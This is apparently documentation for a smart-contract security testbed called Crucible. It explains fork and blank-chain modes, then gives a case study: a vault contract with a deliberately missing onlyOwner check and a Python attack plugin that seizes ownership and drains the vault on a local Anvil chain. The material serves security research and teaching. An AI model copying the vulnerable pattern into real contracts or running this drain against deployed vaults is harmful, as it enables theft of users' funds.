Custom Contract Testing Guide¶
Developing, deploying, and testing novel smart contracts within the Crucible testbed.
Operational Modes¶
Mode 1: Hybrid State (Forked Chain + Custom Contracts)¶
In this mode, an existing network state is forked at a specific block. Custom smart contracts are subsequently deployed into this state, allowing interaction with existing protocols and historical data.
Primary Use Case: Evaluating contract behavior within a realistic on-chain environment (e.g., interacting with existing DeFi protocols, historical state, and token distributions).
# testbed.local.yaml
chains:
ethereum:
rpc_url: "${ETH_RPC_URL}"
fork_block: 19000000 # Fork real Ethereum state
Mode 2: Isolated Execution (Blank Chain)¶
Configuring fork_block: null initializes a pristine EVM instance without historical state. This provides an isolated environment characterised by:
- Absence of pre-deployed contracts (all infrastructure must be deployed manually).
- 10 pre-funded accounts (default Anvil accounts, 10,000 ETH each).
- No external RPC dependencies, enabling fully offline execution.
auto-impersonateenabled, allowing transactions to be dispatched from any address without cryptographic signatures.
Primary Use Case: Isolated contract testing, fuzzing, invariant evaluation, and pre-deployment auditing.
# testbed.local.yaml
chains:
ethereum:
rpc_url: "${ETH_RPC_URL}" # Still in config schema — not used when fork_block is null
fork_block: null # [star] Blank chain — no --fork-url passed to Anvil
Note:
rpc_urlis still required by the config schema even in blank-chain mode, but it is not used whenfork_blockis null.
Case Study: Access Control Vulnerability¶
This section details the implementation of a vulnerable vault contract lacking an onlyOwner modifier on the setOwner() function. The accompanying attack plugin exploits this vulnerability by directly invoking setOwner() to assume ownership and subsequently siphon the vault's assets.
Component Structure¶
contracts/VulnerableVault.sol ← The vulnerable contract
scenarios/vault_pre_exploit/
scenario.yaml ← The scenario (phases)
DeployVault.s.sol ← Foundry deploy script
attacks/vault_access_control/
vault_access_control.py ← The attack plugin
plugin.yaml ← Plugin manifest
experiments/vault_access_control_replay.yaml ← Experiment wiring
Step 1: Write the Contract¶
The target contract is defined in the Foundry source directory (contracts/):
// contracts/VulnerableVault.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
/// @notice A simple vault with a missing access control modifier.
/// The `setOwner()` function is PUBLIC instead of `onlyOwner`,
/// allowing anyone to transfer ownership and then drain the vault.
contract VulnerableVault {
address public owner;
mapping(address => uint256) public balances;
event Deposited(address indexed user, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event Withdrawn(address indexed user, uint256 amount);
constructor() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "not owner");
_;
}
/// @notice Deposit ETH into the vault.
function deposit() external payable {
balances[msg.sender] += msg.value;
emit Deposited(msg.sender, msg.value);
}
/// 🔴 BUG: Missing onlyOwner modifier — anyone can call this!
function setOwner(address newOwner) external {
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/// @notice Owner-only withdraw. Should be protected by onlyOwner
/// but depends on `owner` being set correctly.
function ownerWithdraw(uint256 amount) external onlyOwner {
require(balances[owner] >= amount, "insufficient balance");
balances[owner] -= amount;
(bool ok,) = payable(owner).call{value: amount}("");
require(ok, "ETH transfer failed");
emit Withdrawn(owner, amount);
}
/// @notice Check the vault's ETH balance.
function vaultBalance() external view returns (uint256) {
return address(this).balance;
}
}
Compilation:
Expected output:
[⠊] Compiling...
[⠒] Compiling 1 files with 0.8.20
[⠢] Solc 0.8.20 finished in 1.23s
Compiler run successful!
Step 2: Write the Deploy Script¶
The Foundry deployment script is defined within the scenario directory:
// scenarios/vault_pre_exploit/DeployVault.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Script} from "forge-std/Script.sol";
import {VulnerableVault} from "../../contracts/VulnerableVault.sol";
/// @notice Deploys the VulnerableVault and funds a victim account.
/// Crucible injects the RPC URL via --rpc-url automatically.
contract DeployVault is Script {
// Anvil default account #1 will be the "victim" (deposits funds)
address constant VICTIM = 0x70997970C51812dc3A010C7d01b50e0d17dc79C8;
function run() external {
// ── 1. Deploy the vault (owner = deployer = account #0) ──
vm.startBroadcast();
VulnerableVault vault = new VulnerableVault();
console.log("Vault deployed at:", address(vault));
console.log("Initial owner:", vault.owner());
vm.stopBroadcast();
// ── 2. Fund the victim and deposit into vault ──
vm.deal(VICTIM, 10 ether);
vm.startBroadcast(VICTIM);
vault.deposit{value: 5 ether}();
console.log("Victim deposited 5 ETH");
vm.stopBroadcast();
// ── 3. Log the vault balance for verification ──
console.log("Vault balance:", address(vault).balance);
console.log("Victim balance in vault:", vault.balances(VICTIM));
}
}
Step 3: Create the Scenario¶
The scenario defines three phases: setup (deploy the vault), attack (plugin runs here), and verify:
# scenarios/vault_pre_exploit/scenario.yaml
name: vault_pre_exploit
description: >-
Deploy a vulnerable vault contract to a blank chain, fund a victim account,
then exploit the missing onlyOwner modifier to steal funds.
version: "1.0.0"
chains:
- ethereum
phases:
- name: setup
steps:
- type: log
message: "Deploying VulnerableVault and funding victim account"
- type: forge_script
chain: ethereum
script: "DeployVault.s.sol:DeployVault"
- name: attack
steps:
- type: log
message: "Attack plugin will exploit the access control bug"
- name: verify
steps:
- type: log
message: "Verification complete"
Step 4: Implement the Attack Plugin¶
The attack plugin implements the exploitation logic by impersonating an unprivileged account, invoking the setOwner() function, and exfiltrating the vault's assets:
# attacks/vault_access_control/vault_access_control.py
from crucible.rpc import JsonRpcClient
from crucible.sdk import AttackPlugin, AttackResult, ExperimentContext, VerificationResult
# ── Addresses ──────────────────────────────────────────────
# These are deterministic on a blank Anvil:
# - Account #0 deploys the vault (initial owner)
# - Account #5 is our "attacker" (no special privileges)
VAULT_ADDRESS = "0x..." # Fill in after first run (see note below)
ATTACKER = "0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC" # Anvil account #5
VICTIM = "0x70997970C51812dc3A010C7d01b50e0d17dc79C8" # Anvil account #1
# keccak256("setOwner(address)")[:4] = 0x13af4035
SET_OWNER_SELECTOR = "0x13af4035"
# keccak256("ownerWithdraw(uint256)")[:4] = 0x7a1a8e79
OWNER_WITHDRAW_SELECTOR = "0x7a1a8e79"
class VaultAccessControlAttack(AttackPlugin):
def metadata(self) -> dict:
return {
"name": "vault_access_control",
"version": "1.0.0",
"type": "attack",
"fidelity_level": "L3",
}
def execute(self, context: ExperimentContext, phase: int | None = None) -> AttackResult:
rpc_url = context.chains.runtime_for("ethereum").rpc_url
client = JsonRpcClient(rpc_url)
# ── 1. Verify the vault is deployed ──
code = client.get_code(VAULT_ADDRESS)
if code == "0x":
return AttackResult(success=False, error="Vault not deployed at expected address")
# ── 2. Check initial state ──
import json
# Read owner slot (slot 0 for VulnerableVault)
owner_slot = client.get_storage_at(VAULT_ADDRESS, "0x0")
vault_balance = int(
client.call("eth_getBalance", [VAULT_ADDRESS, "latest"]), 16
)
context.log.step(
f"Initial state: owner={owner_slot}, vault_balance={vault_balance / 1e18} ETH",
phase="attack", action="check", status="success",
)
# ── 3. Exploit: impersonate attacker and call setOwner() ──
# Anvil has --auto-impersonate, so we can send as any address
set_owner_data = SET_OWNER_SELECTOR + ATTACKER[2:].rjust(64, "0")
client.send_transaction({
"from": ATTACKER,
"to": VAULT_ADDRESS,
"data": set_owner_data,
})
context.log.step(
f"Ownership transferred to attacker {ATTACKER}",
phase="attack", action="exploit", status="success",
)
# ── 4. Drain the vault as the new owner ──
# ownerWithdraw(uint256 amount)
drain_data = OWNER_WITHDRAW_SELECTOR + hex(vault_balance)[2:].rjust(64, "0")
client.send_transaction({
"from": ATTACKER,
"to": VAULT_ADDRESS,
"data": drain_data,
})
context.log.step(
f"Drained {vault_balance / 1e18} ETH from vault",
phase="attack", action="drain", status="success",
)
# ── 5. Verify ──
final_balance = int(
client.call("eth_getBalance", [VAULT_ADDRESS, "latest"]), 16
)
attacker_balance = int(
client.call("eth_getBalance", [ATTACKER, "latest"]), 16
)
if final_balance == 0:
return AttackResult(success=True, phase_results=[
{"step": "steal_ownership", "passed": True},
{"step": "drain_vault", "passed": True,
"balance_before": vault_balance, "balance_after": final_balance},
])
else:
return AttackResult(
success=False,
error=f"Vault not fully drained: {final_balance} wei remaining",
)
def verify(self, context: ExperimentContext) -> VerificationResult:
rpc_url = context.chains.runtime_for("ethereum").rpc_url
client = JsonRpcClient(rpc_url)
# Check vault is empty
balance = int(
client.call("eth_getBalance", [VAULT_ADDRESS, "latest"]), 16
)
# Check owner was changed
owner_slot = client.get_storage_at(VAULT_ADDRESS, "0x0")
owner_changed = owner_slot.lower() == ATTACKER.lower()
return VerificationResult(
passed=balance == 0 and owner_changed,
assertions=[
{"name": "vault_drained", "passed": balance == 0,
"expected": 0, "actual": balance},
{"name": "owner_transferred", "passed": owner_changed,
"expected": ATTACKER, "actual": owner_slot},
],
errors=[] if balance == 0 and owner_changed else [
f"Vault balance: {balance}, owner changed: {owner_changed}",
],
)
# attacks/vault_access_control/plugin.yaml
name: vault_access_control
type: attack
version: "1.0.0"
author: "your-name"
entry: vault_access_control.py
class: VaultAccessControlAttack
requires:
crucible: ">=1.0.0"
chains:
- ethereum
topology: single
Determining the Contract Address: Upon initial execution, the Foundry deployment script outputs the instantiated contract address to the console. For subsequent deterministic executions, researchers may employ the following techniques: - CREATE2 Deployment: Utilize a predefined salt to guarantee a deterministic deployment address. - Deployer Nonce Derivation: The vault constitutes the initial contract deployed by account #0; thus, its address is deterministically computable via
address(0xf39Fd..., nonce=1). - Artifact Extraction: Parse the Foundry broadcast receipts located atbroadcast/DeployVault.s.sol/<chain_id>/run-latest.json.For the purpose of this demonstration, the address is statically defined after the initial deployment. It remains immutable assuming the deployment script and nonce are invariant.
Step 5: Configure the Experiment Manifest¶
# experiments/vault_access_control_replay.yaml
name: vault_access_control_replay
scenario: vault_pre_exploit
attack: vault_access_control
topology: single
run:
traces: true
storage_diffs: true
gas_profiling: true
tags:
- vault
- access-control
- custom-contract
Step 6: Execution and Verification¶
# 1. Configure blank-chain mode
cat > testbed.local.yaml << 'EOF'
chains:
ethereum:
rpc_url: "${ETH_RPC_URL}"
fork_block: null
chain_id: 1
port: 8545
host: "127.0.0.1"
EOF
# 2. Build, clean, fork
forge build
uv run crucible clean --all
uv run crucible fork --topology single
# 3. Run the experiment
uv run crucible experiment run experiments/vault_access_control_replay.yaml \
--no-baseline --tier saved --name vault-test-1
# 4. Check the report
LAST=$(ls -t logs/vault_access_control_replay/ | head -1)
echo "=== Run: $LAST ==="
cat "logs/vault_access_control_replay/$LAST/run_manifest.json" | python3 -m json.tool
# 5. Inspect artifact streams
echo "=== Events ==="
cat "logs/vault_access_control_replay/$LAST/chain_ethereum/events.jsonl"
echo "=== Gas ==="
cat "logs/vault_access_control_replay/$LAST/chain_ethereum/gas_profile.jsonl"
echo "=== Storage Diffs ==="
cat "logs/vault_access_control_replay/$LAST/chain_ethereum/storage_diffs.jsonl"
# 6. Run a second time and diff (prove determinism)
uv run crucible clean --all
uv run crucible fork --topology single
uv run crucible experiment run experiments/vault_access_control_replay.yaml \
--no-baseline --tier saved --name vault-test-2
RUN_A=$(ls -t logs/vault_access_control_replay/ | tail -1)
RUN_B=$(ls -t logs/vault_access_control_replay/ | head -1)
uv run crucible diff "$RUN_A" "$RUN_B"
# 7. Export and verify
uv run crucible export "$RUN_B"
uv run crucible verify "datasets/$RUN_B"
Expected output for the diff:
All four must be true for a deterministic reproduction. The events should show OwnershipTransferred followed by Withdrawn. Storage diffs should show slot 0 (owner) changing from deployer to attacker.
Isolated Execution Configuration¶
Assigning fork_block: null initializes the execution environment without a --fork-url parameter, providing a fully isolated EVM:
- Absence of historical state: No pre-existing contracts, token distributions, or protocol integrations.
- Absolute state control: The environment exclusively contains explicitly deployed bytecode.
- Immediate initialization: Eradicates RPC latency, yielding sub-second startup times.
- Deterministic isolation: Eliminates external dependencies to guarantee reproducibility.
- Offline execution: Requires no archive node connectivity.
Config¶
# testbed.local.yaml
chains:
ethereum:
rpc_url: "${ETH_RPC_URL}" # Still required by the config schema (unused when fork_block is null)
fork_block: null # [star] Triggers blank-chain mode
chain_id: 1
port: 8545
host: "127.0.0.1"
determinism:
gas_price: 0
block_base_fee: 1000000000
auto_mine: true
order: "fifo"
Execution Characteristics¶
- Account Funding: While default instances provide pre-funded accounts, Crucible initializes with
--accounts 0 --balance 0to enforce determinism and prevent state pollution. - Within isolated execution, utilise
vm.deal()in Foundry deployment scripts to explicitly fund accounts regardless of initial configuration, as demonstrated in the preceding case study. - Clean Slate Infrastructure: All smart contracts must be explicitly deployed.
- Impersonation Enabled: Facilitates transaction dispatch from any address without cryptographic signatures via
auto-impersonate. - FIFO Ordering: Transactions are processed strictly sequentially (
--order fifo) to enforce deterministic outcomes. - Zero Gas Pricing: Gas costs are suppressed (
--gas-price 0) during testing operations. - Fixed Base Fee: Anchored at 1 gwei (
--block-base-fee 1000000000) to prevent dynamic fee fluctuation.
Development Lifecycle¶
The operational methodology for custom contract evaluation adheres to a standardized, deterministic lifecycle:
flowchart LR
A["1. Modify<br>contract"] --> B["2. Rebuild<br>forge build"]
B --> C["3. Re-fork<br>clean --all<br>fork"]
C --> D["4. Re-run<br>experiment<br>run"]
D --> E["5. Check<br>artifacts,<br>diff, export"]
# One-shot iteration command
uv run crucible clean --all && \
uv run crucible fork --topology single && \
uv run crucible experiment run experiments/vault_access_control_replay.yaml \
--no-baseline --tier saved --name vault-iteration-3
To accelerate the development loop, a dedicated automation script is recommended:
#!/usr/bin/env bash
# scripts/iterate.sh
set -euo pipefail
cd "$(dirname "$0")/.."
echo "=== Building contracts ==="
forge build
echo "=== Cleaning state ==="
uv run crucible clean --all
echo "=== Forking ==="
uv run crucible fork --topology single
echo "=== Running experiment ==="
NAME="vault-$(date +%H%M%S)"
uv run crucible experiment run experiments/vault_access_control_replay.yaml \
--no-baseline --tier saved --name "$NAME"
echo "=== Latest run: $NAME ==="
Advanced Implementation Patterns¶
Pattern 1: Programmatic Deployment via Plugin (Python)¶
Smart contracts may be compiled and deployed programmatically using forge create via the Python plugin architecture, circumventing standard Forge scripts:
def _deploy_contract(client: JsonRpcClient, contract_path: str, from_addr: str) -> str:
"""Compile and deploy a Solidity contract via forge create."""
import subprocess, json
# Compile the contract
result = subprocess.run(
["forge", "build", "--contracts", contract_path, "--json"],
capture_output=True, text=True, check=True,
)
artifacts = json.loads(result.stdout)
bytecode = artifacts["bytecode"]["object"]
# Deploy via raw transaction
# Foundry's bytecode.object already includes the 0x prefix —
# do NOT prepend another "0x" or Anvil will reject it.
tx_hash = client.send_transaction({
"from": from_addr,
"data": bytecode,
"gas": hex(2_000_000),
})
# Get deployed address from receipt
receipt = client.call("eth_getTransactionReceipt", [tx_hash])
return receipt["contractAddress"]
Pattern 2: Snapshot/Restore For Multi-Phase Testing¶
Reset chain state between test phases without re-forking:
def execute(self, context, phase=None):
client = JsonRpcClient(...)
# Take a snapshot before the attack
snapshot_id = client.call("evm_snapshot", [])
# Run attack attempt 1
self._phase_one(client)
# Restore to pre-attack state
client.call("evm_revert", [snapshot_id])
# Run attack attempt 2 (same starting state)
self._phase_two(client)
Pattern 3: Multi-Contract Deploy Script¶
Deploy several interdependent contracts in one script:
// scenarios/defi_test/DeployAll.s.sol
contract DeployAll is Script {
function run() external {
vm.startBroadcast();
Token token = new Token("Test", "TST");
Vault vault = new Vault(address(token));
Router router = new Router(address(vault));
console.log("Token:", address(token));
console.log("Vault:", address(vault));
console.log("Router:", address(router));
vm.stopBroadcast();
}
}
Pattern 4: Deterministic Deployment via CREATE2¶
Deploy utilizing a predefined salt to guarantee a predictable contract address, eliminating the need for hardcoded values:
// Deploy with CREATE2
bytes32 salt = keccak256("vault-v1");
VulnerableVault vault = new VulnerableVault{salt: salt}();
The resulting address is deterministically computable (keccak256(0xff ++ deployer ++ salt ++ keccak256(init_code))[12:]), allowing the attack plugin to resolve it prior to execution.
Recommended Methodology¶
-
Pre-execution Compilation: Ensure
forge buildcompletes successfully prior to initiating the deployment script. -
Artifact Preservation: Utilize the
--tier savedflag for critical evaluations to safeguard artifacts againstcrucible clean --all. -
Determinism Verification: Execute the experiment twice and validate determinism utilizing
crucible diff. Divergent results indicate underlying environmental dependencies (e.g.,block.timestamp, uninitialized storage variables). -
Comprehensive Telemetry: Instrument execution via
context.log.step()to ensure comprehensive coverage in the generated report. -
Deployment Medium: Prioritize
forge_scriptfor infrastructure deployment, reserving Python strictly for exploitation and verification logic. -
Progressive Complexity: Validate initially within an isolated environment (blank chain) to eliminate external variables, migrating to a forked state only when historical protocol state is strictly required.
-
Deterministic Addressing: Adopt
CREATE2to circumvent fragile static address assignments. -
Explicit Fork Configuration: Explicitly declare the
fork_blockparameter (nullfor isolated execution, or a precise block integer) to guarantee reproducibility.
Diagnostic Reference¶
| Symptom | Probable Cause | Resolution |
|---|---|---|
anvil not found on PATH |
Foundry suite unavailable | Execute foundryup or verify containerized environment |
Contract not found or get_code returns 0x |
Deployment failure or incorrect address | Verify forge_script execution logs. Review receipts located at broadcast/DeployVault.s.sol/<chain_id>/run-latest.json. |
No matching function signature |
Incorrect function selector | Validate ABI encoding (e.g., via cast sig "setOwner(address)"). |
Non-deterministic diff |
State dependency (block.timestamp, tx.origin, blockhash) |
Fix timestamp via evm_setNextBlockTimestamp or enforce determinism block in configuration. |
forge build fails |
Compiler version mismatch or missing dependencies | Verify evm_version and libs directives in foundry.toml. |
VM Exception: revert |
Transaction revert | Inspect calldata, account balances, and contract state. Utilize cast call for diagnostic simulation. |
Artifacts lost after clean --all |
Run un-saved | Implement --tier saved or --tier published. Reference CLI Reference. |
fork_block: null still forks |
Configuration bypass | Verify testbed.local.yaml location and schema validity. |
See Also¶
| Doc | What It Covers |
|---|---|
docs/SCENARIO_AUTHORING.md |
Complete reference for all scenario step types |
docs/ATTACK_PACK_GUIDE.md |
Writing attack plugins, evidence files, and plugin manifests |
docs/REPRODUCIBILITY.md |
Provenance, determinism, and the full experiment lifecycle |
docs/CLI_REFERENCE.md |
All CLI commands and options |
docs/TUTORIAL.md |
Nomad exploit replay tutorial (the original use case) |
foundry.toml |
Foundry project configuration |